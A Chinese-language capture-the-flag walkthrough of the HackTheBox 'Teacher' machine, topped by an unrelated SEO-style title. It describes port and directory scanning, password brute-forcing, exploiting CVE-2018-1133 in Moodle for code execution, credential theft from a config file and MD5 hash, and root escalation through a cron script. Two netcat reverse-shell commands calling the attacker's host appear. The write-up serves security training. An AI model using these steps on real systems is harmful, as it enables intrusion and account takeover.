網(wǎng)站建設(shè)頁面設(shè)計(jì)規(guī)格百度指數(shù)與百度搜索量

nmap
nmap -sV -sC -p- -T4 -oA nmap 10.10.10.153

nmap只發(fā)現(xiàn)了對(duì)外開放了80端口,從http-title看出可能是某個(gè)中學(xué)的官網(wǎng)
http
打開網(wǎng)站確實(shí)是一個(gè)官網(wǎng),查看每個(gè)接口看看有沒有可以利用的地方

發(fā)現(xiàn)了一個(gè)接口,/images/5.png,但是響應(yīng)包中卻是一段文字

這個(gè)Giovanni寫忘記了密碼的最后一個(gè)字符,很有可能是想要我們?nèi)ケ┝ζ平?#xff0c;Th4C00lTheacha,再添加最后一個(gè)字符,從a-z,A-Z,0-9,在加上常用標(biāo)點(diǎn)符號(hào),生成一組密碼,找到登錄口后暴力破解進(jìn)入后臺(tái),嘗試admin/administrator等常見后臺(tái)登錄接口也沒反應(yīng),直接掃描網(wǎng)站目錄吧
暴力破解
gobuster dir -u http://10.10.10.153/ -w /usr/share/wordlists/dirb/big.txt -o gobuster
最終發(fā)現(xiàn)了這些接口

其中嘗試訪問/moodle接口時(shí),跳轉(zhuǎn)到teacher.htb,嘗試將該域名添加至/etc/hosts

再次訪問該頁面,得到如下結(jié)果,看起來像是老師用的界面,wappalyzer顯示這個(gè)moodle是一個(gè)LMS,可以嘗試獲取版本信息后查閱相關(guān)漏洞。之前的用戶Giovanni可能是一個(gè)老師,右上角有一個(gè)登錄按鈕,嘗試使用剛才得到的用戶名和殘缺的密碼暴力破解登錄系統(tǒng)

首先將登錄時(shí)的數(shù)據(jù)包發(fā)送至burpsuite的intruder,在密碼的最后一位添加替換位$password$,之后burpsuite便會(huì)自動(dòng)替換這一位的字符

設(shè)置payloads為a-z,A-Z,0-9,常見字符,先試一下,可以看到#相應(yīng)長(zhǎng)度不同于其他

嘗試使用Giovanni/Th4C00lTheacha#登錄系統(tǒng),成功登陸

使用moodlescan掃描一下目標(biāo)網(wǎng)站,看看能不能發(fā)現(xiàn)一些東西
python3 moodlescan.py -k-u http://moodle.example.com/<moodle_path>/

掃描結(jié)果如下,發(fā)現(xiàn)系統(tǒng)使用的moodle版本為3.4.1

cve-2018-1133
Moodle 允許教師設(shè)置包含多種問題的測(cè)驗(yàn)。其中包括計(jì)算問題,它允許教師輸入一個(gè)數(shù)學(xué)公式,該公式將由 Moodle 對(duì)隨機(jī)輸入變量進(jìn)行動(dòng)態(tài)評(píng)估。這可以防止學(xué)生作弊并簡(jiǎn)單地分享他們的結(jié)果。例如,教師可以鍵入 什么是 {x} 添加到 {y}?答案公式為 {x}+{y}。 Moodle 然后會(huì)生成兩個(gè)隨機(jī)數(shù),并將它們插入問答文本中的 占位符 {x} 和 {y} (例如3.9+2.1)。 最后,它將通過調(diào)用安全敏感的 PHP 函數(shù)來 評(píng)估答案 6.0eval() 以其惡意潛力而聞名的公式輸入,因?yàn)樗试S執(zhí)行任意 PHP 代碼。
查看https://www.sonarsource.com/blog/moodle-remote-code-execution/文章獲取更多信息
開始復(fù)現(xiàn)該漏洞,首先肯定是要登錄系統(tǒng)
前往Site home–> 點(diǎn)擊Algebra–> 點(diǎn)擊Turn editing on

點(diǎn)擊Add an activity or resource->點(diǎn)擊Quiz->Add

隨便寫點(diǎn)東西然后點(diǎn)擊保存,save and return to course,比如我創(chuàng)建了一個(gè)名為test的quiz

點(diǎn)擊test進(jìn)入,然后選擇編輯edit quiz

進(jìn)入編輯后,選擇add,在選擇a new question,類型選擇calculated,點(diǎn)擊add添加

然后將上文鏈接文章中的代碼寫入answers中,還要選擇100%,負(fù)責(zé)會(huì)報(bào)錯(cuò)

然后點(diǎn)擊save changes保存配置,下一個(gè)頁面無需修改內(nèi)容直接點(diǎn)擊next page即可,在跳轉(zhuǎn)至下一個(gè)頁面即可使用“0=”來執(zhí)行遠(yuǎn)程代碼,使用nc -e /bin/bash 10.10.*.* 4444將shell傳遞給kali(kali提前監(jiān)聽端口)

www-data
拿到一個(gè)www-data權(quán)限的shell,用python獲取一個(gè)交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
在網(wǎng)站根目錄中發(fā)現(xiàn)了很多config文件,打開看看

在config.php中可以看到數(shù)據(jù)庫相關(guān)信息

使用查到的數(shù)據(jù)庫信息登錄mysql

use moodle;使用moodle數(shù)據(jù)庫,里面有一張叫mdl_user的表,其中存儲(chǔ)著用戶信息,查看表,發(fā)現(xiàn)列名username和password

查看username和password內(nèi)容

其中最后一行Giovannibak的密碼像是使用了md5加密,解密得到密碼為expelled

查看/etc/passwd發(fā)現(xiàn)并沒有用戶叫Giovannibak,再加上bak很可能意味著這個(gè)密碼是giovanni用戶的備用密碼,嘗試使用改密碼切換至giovanni用戶,成功

鏈接到用戶后,我們可以找到user.txt并查看

giovanni→root
在giovanni目錄下,進(jìn)入tmp目錄,發(fā)現(xiàn)backup_courses.tar.gz每分鐘都在運(yùn)行,似乎是參與了一個(gè)cron job,且該文件屬于root用戶

向靶機(jī)上傳pspy工具,檢索所有的cron job

查看backup.sh的內(nèi)容。進(jìn)入work目錄,將課程目錄添加到tmp/backup_courses.tar.gz中,然后進(jìn)入tmp目錄,解壓文件,并將tmp中所有文件權(quán)限設(shè)置為777

腳本由root用戶創(chuàng)建,不能修改

chmod 從不更改符號(hào)鏈接的權(quán)限;chmod 系統(tǒng)調(diào)用無法更改其權(quán)限。這不是問題,因?yàn)閺牟皇褂梅?hào)鏈接的權(quán)限。但是,對(duì)于命令行中列出的每個(gè)符號(hào)鏈接,chmod 都會(huì)更改指向文件的權(quán)限。相反,chmod 忽略遞歸目錄遍歷期間遇到的符號(hào)鏈接
在~/work/tmp中創(chuàng)建鏈接:

嘗試在腳本中追加"nc -e /bin/bash 10.10.14.14 1111" >> /usr/bin/backup.sh

開啟監(jiān)聽,等待任務(wù)執(zhí)行后,就能收到一個(gè)shell,然后就可以查看flag了

over!
